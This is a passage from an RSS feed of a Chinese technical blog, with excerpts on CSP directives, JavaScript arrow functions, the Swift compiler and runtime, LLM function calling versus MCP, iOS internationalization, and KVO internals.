&lt;li&gt;&lt;code&gt;frame-ancestors&lt;/code&gt;：嵌入的外部资源（比如&lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;和&lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;connect-src：HTTP 连接（通过 XHR、WebSockets、EventSource等）&lt;/li&gt;
&lt;li&gt;worker-src：worker脚本&lt;/li&gt;
&lt;li&gt;manifest-src：manifest 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-default-src"&gt;2.2 &lt;code&gt;default-src&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;default-src用来设置上面各个选项的默认值。&lt;/p&gt;</description></item><item><title>箭头函数</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-004/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-004/</guid><description>&lt;h2 id="一箭头函数的特点"&gt;一、箭头函数的特点&lt;/h2&gt;
&lt;h3 id="1-相比普通函数箭头函数有更加简洁的语法"&gt;1. 相比普通函数，箭头函数有更加简洁的语法。&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;普通函数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function add(num) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return num + 10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;箭头函数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; add &lt;span style="color:#f92672"&gt;=&lt;/span&gt; num &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; num &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-箭头函数不绑定this会捕获其所在上下文的this作为自己的this"&gt;2. 箭头函数不绑定this，会捕获其所在上下文的this，作为自己的this。&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这句话需要注意的是，箭头函数的外层如果有普通函数，那么箭头函数的this就是这个外层的普通函数的this，箭头函数的外层如果没有普通函数，那么箭头函数的this就是全局变量。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;下面这个例子是箭头函数的外层有普通函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let obj = {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fn:function(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(&amp;#39;我是普通函数&amp;#39;,this === obj) // true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return ()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(&amp;#39;我是箭头函数&amp;#39;,this === obj) // true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(obj.fn()())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;下面这个例子是箭头函数的外层没有普通函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let obj = {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fn:()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(this === window);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(obj.fn())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-箭头函数是匿名函数不能作为构造函数不可以使用new命令否则后抛出错误"&gt;3. 箭头函数是匿名函数，不能作为构造函数，不可以使用new命令，否则后抛出错误。&lt;/h3&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-004/image-01.webp"&gt;&lt;/p&gt;</description></item><item><title>Swift 面试：编译流程、Runtime 与元数据源码解析</title><link>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/compiler-runtime/</link><pubDate>Tue, 16 Jun 2026 09:06:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/compiler-runtime/</guid><description>&lt;h1 id="swift-面试编译流程runtime-与元数据源码解析"&gt;Swift 面试：编译流程、Runtime 与元数据源码解析&lt;/h1&gt;
&lt;p&gt;Swift 面试里问编译流程和 Runtime，通常不是想听一串名词，而是想看你能不能把 &lt;strong&gt;源码 -&amp;gt; AST -&amp;gt; SIL -&amp;gt; 优化 -&amp;gt; IRGen -&amp;gt; LLVM -&amp;gt; Runtime Metadata&lt;/strong&gt; 串起来。&lt;/p&gt;
&lt;p&gt;这篇文章按面试题展开，把答案落到 Swift 编译器源码里的 SILGen、SILOptimizer、IRGen、Metadata、Value Witness Table、Protocol Witness Table 和 HeapObject。&lt;/p&gt;
&lt;h2 id="面试高频问题"&gt;面试高频问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Swift 源码从 &lt;code&gt;.swift&lt;/code&gt; 到机器码经历哪些阶段？&lt;/li&gt;
&lt;li&gt;AST、SIL、LLVM IR 分别负责什么？&lt;/li&gt;
&lt;li&gt;为什么 Swift 需要 SIL，而不是直接生成 LLVM IR？&lt;/li&gt;
&lt;li&gt;SILGen 做什么？SILOptimizer 做什么？&lt;/li&gt;
&lt;li&gt;IRGen 为什么要生成 Metadata 和 Witness Table？&lt;/li&gt;
&lt;li&gt;Swift Runtime Metadata 保存了哪些信息？&lt;/li&gt;
&lt;li&gt;Value Witness Table 是什么？&lt;/li&gt;
&lt;li&gt;Protocol Witness Table 和 class vtable 有什么区别？&lt;/li&gt;
&lt;li&gt;class、struct、enum 在 Runtime 表示上有什么差异？&lt;/li&gt;
&lt;li&gt;HeapObject 和 Metadata 有什么关系？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="30-秒回答版"&gt;30 秒回答版&lt;/h2&gt;
&lt;p&gt;Swift 编译流程可以简化为：&lt;/p&gt;</description></item><item><title>Function Calling与MCP</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/function-calling%E4%B8%8Emcp/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/function-calling%E4%B8%8Emcp/</guid><description>&lt;p&gt;LLM很聪明，但它被困在一个&amp;quot;文本沙箱&amp;quot;里——它只能接收文本、输出文本。要让LLM调用API、查数据库、操作文件，就需要一个&amp;quot;桥梁&amp;quot;协议来连接LLM与外部世界。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Function Calling&lt;/strong&gt;和**MCP（Model Context Protocol）**就是这样的桥梁。它们的目标相同——让LLM能调用外部工具——但设计理念和使用场景有很大不同。本文将详细对比这两种方案。&lt;/p&gt;
&lt;h2 id="一function-callingllm原生的工具调用"&gt;一、Function Calling：LLM原生的工具调用&lt;/h2&gt;
&lt;h3 id="11-基本原理"&gt;1.1 基本原理&lt;/h3&gt;
&lt;p&gt;Function Calling是LLM提供商（OpenAI、Anthropic、Google等）在模型层面支持的工具调用能力。核心思路是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你告诉LLM有哪些函数可用（函数名、参数定义、功能描述）&lt;/li&gt;
&lt;li&gt;LLM根据用户的问题判断是否需要调用函数&lt;/li&gt;
&lt;li&gt;如果需要，LLM输出一个结构化的函数调用请求（而不是自然语言）&lt;/li&gt;
&lt;li&gt;你的代码执行这个函数，把结果返回给LLM&lt;/li&gt;
&lt;li&gt;LLM基于结果生成最终回答&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="mermaid"&gt;sequenceDiagram
participant U as 用户
participant App as 应用程序
participant LLM as LLM API
participant Tool as 外部工具/API
U-&gt;&gt;App: "北京今天天气怎么样？"
App-&gt;&gt;LLM: 用户消息 + 可用函数定义
LLM-&gt;&gt;App: 函数调用请求&lt;br/&gt;get_weather(city="北京")
App-&gt;&gt;Tool: 调用天气API
Tool-&gt;&gt;App: {"temp": 22, "weather": "晴"}
App-&gt;&gt;LLM: 函数执行结果
LLM-&gt;&gt;App: "北京今天天气晴朗，气温22°C"
App-&gt;&gt;U: 最终回答
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键点：LLM自身并不执行函数，它只是生成&amp;quot;我想调用这个函数&amp;quot;的结构化指令，真正的执行由应用程序完成。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="12-函数定义"&gt;1.2 函数定义&lt;/h3&gt;
&lt;p&gt;以OpenAI的格式为例，开发者需要用JSON Schema描述每个可用的函数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;tools&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;function&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;function&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;get_weather&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;获取指定城市的当前天气信息&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;parameters&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;object&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;properties&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;string&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;城市名称，如&amp;#39;北京&amp;#39;、&amp;#39;上海&amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;unit&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;string&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;enum&amp;#34;&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;celsius&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;fahrenheit&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;温度单位&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;required&amp;#34;&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;city&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;LLM通过阅读这个定义来理解：这个函数叫什么、干什么用、需要什么参数。&lt;strong&gt;description字段的质量直接影响LLM能否正确选择和调用函数。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>iOS国际化</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E5%9B%BD%E9%99%85%E5%8C%96/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E5%9B%BD%E9%99%85%E5%8C%96/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;很多团队对&amp;quot;国际化&amp;quot;的理解停留在&amp;quot;把中文文案翻译成英文&amp;quot;，等真正把 App 推向多区域时就会发现远远不够：阿拉伯语用户看到的界面左右颠倒了，用户在纽约和东京看到的&amp;quot;今天&amp;quot;不是同一天，欧洲的小数点变成了逗号，日本用户抱怨价格里的¥符号指向人民币而不是日元，印度用户发现自己的 ₹1,23,456.78 被错误地按千分位显示成 ₹123,456.78，复数规则在俄语里比英语复杂得多，而这些问题单靠&amp;quot;翻译&amp;quot;都解决不了。&lt;/p&gt;
&lt;p&gt;国际化（Internationalization，简称 i18n，取首末字母与中间 18 个字符）是&lt;strong&gt;架构层面的能力建设&lt;/strong&gt;，让 App 能够适配不同语言、地区、文字方向、日历、时区、货币、单位制与文化习俗；而本地化（Localization，l10n）是针对某个具体地区的&amp;quot;适配落地&amp;quot;。两者的关系是：&amp;ldquo;国际化一次，本地化 N 次&amp;rdquo;。&lt;/p&gt;
&lt;p&gt;本文从 &lt;code&gt;NSLocale&lt;/code&gt;/&lt;code&gt;Locale&lt;/code&gt; 的基础模型开始，把 iOS 国际化的完整工程面梳理清楚——文案本地化、复数/性别规则、RTL 布局、多时区、多币种、单位与数字格式、图片资源、字体、App 内切换语言、测试方法，最后给出研发规范与排查清单。&lt;/p&gt;
&lt;h2 id="一基础概念localelanguage-与-region"&gt;一、基础概念：Locale、Language 与 Region&lt;/h2&gt;
&lt;h3 id="11-locale-不等于-language"&gt;1.1 Locale 不等于 Language&lt;/h3&gt;
&lt;p&gt;大多数工程师第一次接触国际化时会把&amp;quot;语言&amp;quot;和&amp;quot;地区&amp;quot;混为一谈，这在 iOS 下会直接导致格式错误。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Language（语言）&lt;/strong&gt;：&lt;code&gt;zh&lt;/code&gt;、&lt;code&gt;en&lt;/code&gt;、&lt;code&gt;ar&lt;/code&gt;、&lt;code&gt;ja&lt;/code&gt;…决定 UI 文字内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Region（地区）&lt;/strong&gt;：&lt;code&gt;CN&lt;/code&gt;、&lt;code&gt;US&lt;/code&gt;、&lt;code&gt;SA&lt;/code&gt;、&lt;code&gt;JP&lt;/code&gt;…决定格式（日期、数字、货币、时间制 12/24h、起始星期、度量单位）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Locale（语言+地区）&lt;/strong&gt;：两者合成一个完整的标识，如 &lt;code&gt;zh_CN&lt;/code&gt;、&lt;code&gt;en_US&lt;/code&gt;、&lt;code&gt;ar_SA&lt;/code&gt;、&lt;code&gt;en_IN&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个美国人移居日本后，完全可能把 iPhone 语言设为英文，但地区设为日本。此时：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;期望&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;UI 文案&lt;/td&gt;
&lt;td&gt;英文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日期格式&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1月23日(月)&lt;/code&gt; 风格？No，应显示 &lt;code&gt;January 23 (Mon)&lt;/code&gt;，因为语言决定月/星期的&lt;strong&gt;名字&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数字分隔符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;,&lt;/code&gt; 作千分位（与日本/美国一致）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;货币符号&lt;/td&gt;
&lt;td&gt;&lt;code&gt;¥&lt;/code&gt;（JPY）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;温度单位&lt;/td&gt;
&lt;td&gt;&lt;code&gt;℃&lt;/code&gt;（日本）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;首日周&lt;/td&gt;
&lt;td&gt;周日（日本区域）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;对应的 &lt;code&gt;Locale&lt;/code&gt; 是 &lt;code&gt;en_JP&lt;/code&gt;——看似奇怪，但在现实中非常普遍。代码里要区分&amp;quot;用哪个语言去查字符串&amp;quot;和&amp;quot;用哪个 Locale 去格式化数据&amp;quot;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; preferredLanguage = Locale.preferredLanguages.first ?? &lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; currentLocale = Locale.current
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; formatter = DateFormatter()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;formatter.locale = currentLocale
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;formatter.dateStyle = .long
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(formatter.string(from: Date()))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不要传 &lt;code&gt;Locale(identifier: &amp;quot;en&amp;quot;)&lt;/code&gt; 去格式化数字，那会丢掉用户的区域偏好。&lt;/p&gt;</description></item><item><title>KVO底层原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvo%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvo%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</guid><description>&lt;h2 id="基础概念"&gt;基础概念&lt;/h2&gt;
&lt;p&gt;KVO（Key-Value Observing，键值观察）是 Apple 基于 KVC 实现的一种观察者模式，允许对象监听另一个对象特定属性的变化。当被观察对象的属性值发生改变时，观察者会收到通知。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 注册观察
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[person addObserver:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; forKeyPath:&lt;span style="color:#e6db74"&gt;@&amp;#34;name&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; options:NSKeyValueObservingOptionNew &lt;span style="color:#f92672"&gt;|&lt;/span&gt; NSKeyValueObservingOptionOld
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; context:nil];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 接收通知
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;observeValueForKeyPath:&lt;/span&gt;(NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)keyPath
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ofObject:&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;id&lt;/span&gt;)object
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;change:&lt;/span&gt;(NSDictionary&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;NSKeyValueChangeKey, &lt;span style="color:#66d9ef"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)change
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;context:&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)context {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ([keyPath isEqualToString:&lt;span style="color:#e6db74"&gt;@&amp;#34;name&amp;#34;&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;name changed: %@ → %@&amp;#34;&lt;/span&gt;, change[NSKeyValueChangeOldKey], change[NSKeyValueChangeNewKey]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 移除观察
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;dealloc&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [person removeObserver:self forKeyPath:&lt;span style="color:#e6db74"&gt;@&amp;#34;name&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="kvo-的底层实现原理isa-swizzling"&gt;KVO 的底层实现原理：isa-swizzling&lt;/h2&gt;
&lt;p&gt;KVO 的核心实现机制是 &lt;strong&gt;isa-swizzling&lt;/strong&gt;（isa 指针替换）。当对象被添加观察者时，Runtime 会在运行时动态创建该对象所属类的一个子类，并将对象的 isa 指针指向这个新的子类。&lt;/p&gt;
&lt;h3 id="完整流程"&gt;完整流程&lt;/h3&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A["addObserver:forKeyPath:"] --&gt; B["Runtime 动态创建子类&lt;br/&gt;NSKVONotifying_ClassName"]
B --&gt; C["重写被观察属性的 setter 方法"]
B --&gt; D["重写 class 方法&lt;br/&gt;返回原始类"]
B --&gt; E["重写 dealloc 方法"]
B --&gt; F["重写 _isKVOA 方法&lt;br/&gt;返回 YES"]
C --&gt; G["将对象的 isa 指向&lt;br/&gt;NSKVONotifying_ClassName"]
G --&gt; H["当属性值改变时"]
H --&gt; I["调用 willChangeValueForKey:"]
I --&gt; J["调用原始 setter 方法"]
J --&gt; K["调用 didChangeValueForKey:"]
K --&gt; L["通知所有观察者"]
&lt;/pre&gt;
&lt;h3 id="第一步动态创建子类"&gt;第一步：动态创建子类&lt;/h3&gt;
